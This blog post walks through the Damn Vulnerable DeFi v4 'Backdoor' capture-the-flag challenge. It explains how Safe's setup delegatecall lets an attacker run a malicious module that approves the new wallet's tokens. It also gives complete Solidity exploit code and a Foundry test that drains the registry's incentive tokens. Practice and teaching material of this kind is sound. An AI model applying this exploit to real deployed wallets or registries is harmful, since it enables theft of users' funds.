Challenge 11: Backdoor, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
There’s Safe wallets registry contract which incentivize new registered wallets by giving them 10 DVT tokens. Only registered beneficiaries can register wallets and claim incentive amount which are Alice, Bob, Charlie and David.
There’s some vulnerability found in registry contract so will have to rescue all funds and deposit them into recovery account.
Smart Contracts :
WalletRegistry:
We’ve given only 1 smart contract WalletRegistry.sol
in the challenge.The main objective of this contract is to incentivize users(only beneficiaries) with 10 DVT tokens once they create Safe wallet.
It has function named proxyCreated
which handles all necessary checks and is responsible of provision of incentive funds.
Necessary checks like,
function can be called only by walletFactory contract
provided
singleton
(Safe implementation contract) in parameter must be the same as what WalletRegistry is already using.initializer
passed in parameter’s first 4 bytes must be equal toSafe.setup.selector
. In simple terms it promises proxyCreated function that setup is already done. we’ve to dig deeper intoSafeProxyFactory
contract to see how it’s working as it promises.walletOwner
of that newly created wallet(safeProxy
) must be one of the beneficiaries.
proxyCreated
is external function but it can only called by SafeProxyFactory
. you’ll get how these all smart contract works together once you go through their code (or by just looking at following diagram😉).
Safe:
Safe
is a multi signature wallet with support for confirmations using signed messages based on EIP-712. we ain’t need to go too deep in every functionality of Safe contracts but it’s essential to know a little bit to understand how system works all together.
SafeProxy:
SafeProxy
contract is proxy contract as it’s name suggest, It can also be referred as Wallet in our Registry contract’s context. it has it’s implementation Safe
contract which is being called singleton
in their contract.
SafeProxyFactory:
SafeProxyFactory
is the factory contract to create SafeProxy
contracts. It’s responsible for creating SafeProxy(Wallets). It has 3 functions to create SafeProxies(Wallets) named createProxyWithNonce
, createChainSpecificProxyWithNonce
, createProxyWithCallback
from which 1 we are going to use and important to us createProxyWithCallback
.
how do I know that it’s important and we’ll use that function only to create wallet?
Simple, we’ve given only 1 challenge specific contract WalletRegistry.sol
, if you read it carefully then proxyCreated
function in it which handles all fund related functionality has mentioned this createProxyWithCallback
in comments.
The Vulnerability
Here vulnerable part here is, Safe
contract’s setup
function allows making delegateCall to any contract. which is so so so bad as Safe itself stores and handles all funds and exploiter can trick Safe by making setup function’s delegateCall to approve all of it funds.
To be exact, it’s setupModules
function which makes delegateCall to unknown contract. setupModules
is in ModuleManager, which is being called by setup
.
setup
function initializes the storage of the contract with various parameters, including:
A list of safe owners
The number of required confirmations for a Safe transaction
An optional contract address for delegate calls
Data for the delegate call
A fallback handler for calls to the contract, a payment token (0 for ETH or a specific token)
An amount of payment
The address that should receive the payment
This function serves as the foundational configuration step for the Safe contract, integrating the supplied parameters and payment choices to prepare it for secure multi-signature operations.
Pay attention to the highlighted elements in the list. In the setup procedure, they allow us to execute code on behalf of the Safe itself (delegate call). This presents an opportunity for us to leverage the “Modules” feature, enabling the creation of a potentially malicious contract and executing code on behalf of the newly created safe.
The Attack Strategy
Create a malicious contract (maliciousApprover) that approves all DVT tokens to the exploiter.
When setting up the wallet, provide data in the
setup
function's parameter to call this malicious contract.At this point, the SafeProxy (wallet) won't have any DVT tokens.
Once the wallet receives 10 DVT Tokens as an incentive, we can transfer them to the exploiter's contract, as we've already approved the exploiter as a spender.
Solution
test/backdoor/BackdoorExploit.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {SafeProxy} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxy.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {console} from "forge-std/Test.sol";
contract BackdoorExploit {
Safe singletonCopy;
SafeProxyFactory walletFactory;
DamnValuableToken token;
WalletRegistry walletRegistry;
address[] beneficiaries;
address recovery;
uint immutable AMOUNT_TOKENS_DISTRIBUTED;
MaliciousApprover maliciousApprover;
constructor(
Safe _singletonCopy,
SafeProxyFactory _walletFactory,
DamnValuableToken _token,
WalletRegistry walletRegistryAddress,
address[] memory _beneficiaries,
address recoveryAddress,
uint amountTokensDistributed
) payable {
singletonCopy = _singletonCopy;
walletFactory = _walletFactory;
token = _token;
walletRegistry = walletRegistryAddress;
beneficiaries = _beneficiaries;
recovery = recoveryAddress;
AMOUNT_TOKENS_DISTRIBUTED = amountTokensDistributed;
maliciousApprover = new MaliciousApprover();
}
function attack() public {
for (uint i = 0; i < beneficiaries.length; i++) {
address newOwner = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = newOwner;
address maliciousTo = address(maliciousApprover);
bytes memory maliciousData = abi.encodeCall(
maliciousApprover.approveTokens,
(token, address(this))
);
bytes memory initializer = abi.encodeCall(
Safe.setup,
(
owners,
1,
maliciousTo,
maliciousData,
address(0),
address(0),
0,
payable(address(0))
)
);
SafeProxy proxy = walletFactory.createProxyWithCallback(
address(singletonCopy),
initializer,
1,
walletRegistry
);
token.transferFrom(
address(proxy),
address(this),
token.balanceOf(address(proxy))
);
}
token.transfer(recovery, AMOUNT_TOKENS_DISTRIBUTED);
}
}
contract MaliciousApprover {
function approveTokens(DamnValuableToken token, address spender) external {
token.approve(spender, type(uint256).max);
}
}
test/backdoor/Backdoor.t.sol
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
BackdoorExploit backdoorExploit = new BackdoorExploit(
singletonCopy,
walletFactory,
token,
walletRegistry,
users,
recovery,
AMOUNT_TOKENS_DISTRIBUTED
);
backdoorExploit.attack();
}
Let's see it in action,
forge test --mp test/backdoor/Backdoor.t.sol
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.